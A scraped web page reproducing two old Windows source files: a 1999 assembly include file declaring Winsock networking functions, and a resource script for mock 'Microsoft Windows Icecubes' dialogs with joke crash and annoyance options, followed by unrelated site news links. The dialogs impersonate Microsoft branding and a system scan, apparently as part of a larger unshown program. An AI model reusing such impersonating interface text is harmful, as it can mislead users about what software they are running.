???????????????????????????????[WINDOWS.INC]?????????????????????????????????ěWSOCKS.INC]??;

; WSocks.inc: include file for windows sockets .

; Designed for TASM5 and Win32.

;

; (C) 1999 Bumblebee.

;

; This file contains basic structures and stuff to work

; with windows sockets.

;

; Descriptions of the API:

; arguments in order of PUSH ;)

; only for debug

extrn WSAGetLastError:PROC

; starts the use of winsock dll

; addr WSADATA, version requested

; returns: 0 ok

extrnWSAStartup:PROC

; terminates the use of winsock dll

; returns: SOCK_ERR on error

extrnWSACleanup:PROC

; opens a new socket

; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)

; returns: socket id or SOCKET_ERR (socket is dw)

extrnsocket:PROC

; closes a socket

; socket descriptor

;

extrn closesocket:PROC

; sends data (this socks are a shit... Unix uses simple write)

; flags (1 OOB data or 0 normal ) , length, addr of buffer, socket

; returns: caracters sent or SOCKET_ERR on error

extrn send:PROC

; reveives data (this socks are a shit... Unix uses simple read)

; flags (use 0), length, addr of buffer, socket

; returns: caracters sent or SOCKET_ERR on error

extrn recv:PROC

; connects to a server

; sizeof struct SOCKADDR, struct SOCKADDR, socket

; returns: SOCKET_ERR on error

extrnconnect:PROC

; gets the name of the current host

; length of the buffer for name, addr of buffer for name

; return: SOCKET_ERR on error

extrn gethostname:PROC

; gets strcut hostent

; addr of name

; returns: ponter to the struct or 0 on error

extrn gethostbyname:PROC

; converts a zstring like "xxx.xxx.xx...." to netw byte order

; zstring ptr to change to dotted addr format

; returns: in_addr (dd)

extrn inet_addr:PROC

; dw to convert into netw byte order (usually the port)

; returns: the value in network byte order (dw)

extrn htons:PROC

; Structs :o

; sockaddr struct for connection

; modified (for better use)

; if you want the original look for it into a winsock.h

SOCKADDR struct

sin_familydw0; ex. AF_INET

sin_portdw0; use htons for this

sin_addr dd 0 ; here goes server node (from inet_addr)

sin_zerodb8 dup(0)

SOCKADDR ends

; for WSAStartup diagnose

WSADATAstruct

mVersiondw0

mHighVersiondw0

szDescriptiondb257 dup(0)

szSystemStatusdb129 dup(0)

iMaxSocketsdw0

iMaxUpdDgdw0

lpVendorInfodd0

WSADATAends

; Some nice equs

; what version of winsock do you need? (usually 1.1)

VERSION1_0 equ 0100h

VERSION1_1 equ 0101h

VERSION2_0 equ 0200h

AF_UNIXequ1; local host

AF_INET equ 2 ; internet (most used)

AF_IMPLINKequ3; arpanet

AF_NETBIOSequ17; NetBios style addresses

; types of sockets

SOCK_STREAM equ 1 ; stream (connection oriented; telnet like)

SOCK_DGRAM equ 2 ; datagram (packets, packets, packets)

; protocol

PCL_NONE equ 0 ; none (define the protocol not needed)

SOCKET_ERR equ -1 ; standard winsock error

HOSTENT_IP equ 10h ; where is the IP into the hostent struct

???????????????????????????????ěWSOCKS.INC]?????????????????????????????????[ICECUBES.RC]??#define IDM_ABOUTBOX 0x0010

#define IDD_ABOUTBOX 100

#define IDS_ABOUTBOX 101

#define IDD_VKS_DIALOG_0 102

#define IDD_VKS_DIALOG_1 103

#define IDR_MAINFRAME 128

#define IDC_CHECK1 1000

#define IDC_CHECK2 1001

#define IDC_EDIT3 1003

#define IDC_SPIN1 1018

#define IDC_COMBO1 1004

#define IDC_EDIT1 1005

#define IDC_CHECK3 1006

#define IDC_CHECK4 1007

#define IDC_EDIT2 1008

#define IDC_BUTTON1 1009

#define IDC_BUTTON2 1014

#define IDC_CHECK5 1010

#define IDC_RADIO1 1012

#define IDC_RADIO2 1013

#define IDC_STATIC 1015

#define IDC_STATIC2 1016

11 ICON "icecubes.ico"

IDD_VKS_DIALOG_0 DIALOG 0, 0, 255, 20

STYLE DS_MODALFRAME | DS_3DLOOK | DS_CENTER | WS_POPUP | WS_VISIBLE |

WS_CAPTION | WS_SYSMENU

CAPTION "Scanning system for Microsoft Windows Icecubes..."

FONT 8, "Verdana"

BEGIN

CONTROL "",105,"msctls_progress32",WS_CLIPSIBLINGS,5,5,244,11

END

IDD_VKS_DIALOG_1 DIALOG 0, 0, 233, 252

STYLE DS_MODALFRAME | DS_3DLOOK | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU

EXSTYLE WS_EX_APPWINDOW

CAPTION "Microsoft Windows Icecubes"

FONT 8, "MS Sans Serif"

BEGIN

LTEXT "Manufacturer's default settings (not to be edited)",

IDC_STATIC,13,8,200,8

GROUPBOX "Endurance options",IDC_STATIC,7,23,218,53

CONTROL "Crash every",IDC_CHECK1,"Button",BS_AUTOCHECKBOX |

WS_TABSTOP,15,36,50,10

CONTROL "Crash after",IDC_CHECK2,"Button",BS_AUTOCHECKBOX |

WS_TABSTOP,15,54,50,10

EDITTEXT IDC_EDIT3,75,35,34,12,ES_AUTOHSCROLL

CONTROL "Spin1",IDC_SPIN1,"msctls_updown32",UDS_ARROWKEYS,108,35,

8,12

COMBOBOX IDC_COMBO1,130,35,72,85,CBS_DROPDOWNLIST | CBS_SORT |

WS_VSCROLL | WS_TABSTOP

EDITTEXT IDC_EDIT1,75,53,43,13,ES_AUTOHSCROLL

LTEXT "bytes of un-saved changes",IDC_STATIC,130,55,94,13

GROUPBOX "Save options",IDC_STATIC,7,81,218,69

CONTROL "Create incredibly large files",IDC_CHECK3,"Button",

BS_AUTOCHECKBOX | WS_TABSTOP,15,94,163,10

CONTROL "Allow me to carry on typing during AutoRecovery saves",

IDC_CHECK4,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,15,112,

195,10

LTEXT "Fail AutoRecovery at",IDC_STATIC,25,130,120,13

LTEXT "percent",IDC_STATIC2,125,130,50,13

EDITTEXT IDC_EDIT2,100,128,18,12,ES_AUTOHSCROLL

GROUPBOX "Other options",IDC_STATIC,7,157,218,70

CONTROL "Decrease boot speed by 70%",IDC_CHECK5,"Button",

BS_AUTOCHECKBOX | WS_TABSTOP,15,170,190,14

CONTROL "constantly",IDC_RADIO1,"Button",BS_AUTORADIOBUTTON,35,

198,48,10

CONTROL "when I least expect it",IDC_RADIO2,"Button",

BS_AUTORADIOBUTTON,35,210,83,10

LTEXT "Annoy me with that sodding paperclip",IDC_STATIC,25,186,

136,10

PUSHBUTTON "Cancel",IDC_BUTTON1,122,233,50,12

DEFPUSHBUTTON "Ok",IDC_BUTTON2,64,233,50,12

END

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有